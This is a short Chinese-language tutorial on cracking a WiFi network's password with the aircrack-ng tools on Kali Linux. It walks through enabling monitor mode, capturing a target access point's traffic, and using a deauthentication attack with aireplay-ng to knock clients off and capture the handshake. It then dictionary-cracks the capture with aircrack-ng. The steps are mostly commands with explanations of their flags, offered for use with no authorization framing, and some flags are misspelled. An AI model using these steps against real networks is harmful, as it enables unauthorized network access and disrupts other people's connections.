文章目录
1.1 准备无线网卡1.2 无线网卡接入虚拟机1.3 查看无线网卡信息1.4 开启无线网卡监听模式1.5 监听周围无线网络信息1.6 如果不能监听，需要设置Monitor模式1.7 监听感兴趣的无线网络1.8 得到握手包1.9 获取密码1.1 准备无线网卡
注意kail支持的哪些芯片的无线网卡
1.2 无线网卡接入虚拟机
1.3 查看无线网卡信息
root@KALI-EXPLOIT:~# iwconfigroot@KALI-EXPLOIT:~# airmon-ng
1.4 开启无线网卡监听模式
root@KALI-EXPLOIT:~# airmon-ng start wlan0(根据上一步查看到的设备名)
默认是接入模式，这个命令是开启监听模式
1.5 监听周围无线网络信息
root@KALI-EXPLOIT:~# airodump-ng wlan0mon(根据上一步的到的设备名)
1.6 如果不能监听，需要设置Monitor模式
ifconfig wlan0 downiwconfig wlan0 mode monitorifconfig wlan0 up
这个是可能会出现的问题，没有遇到选择跳过
1.7 监听感兴趣的无线网络
root@KALI-EXPLOIT:~# airodump-ng -c 6 --bsssid AP's MAC -w wep wlan0mon
-c后面的6为AP工作频道，-bissid面为AP MAC地址
-w后面的wep是抓下来的数据包DATA保存的文件名
1.8 得到握手包
保持上一步的窗口不关，新开一个窗口，执行以下命令：
aireplay-ng -a AP-MAC -c 切断客户端的MAC（重新连接） -0 5 (发送次数一般5次就够) wlan0mon(网卡名称)
截图： 成功获取握手包
解析： -0为模式的一种：冲突攻击模式，后面跟发送次数（设置为0，则为循环攻击，不停的断开）
-a AP-MAC指定无线AP的mac地址，即为该无线网的bssid值, -c 为客户端mac，即为STATION值
1.9 获取密码
aircrack-ng tmp-01.cap -w /tmp/passwd.txt
截图：
破解成功后会出现：KEY FOUND!后中括号中间就是wifi密码
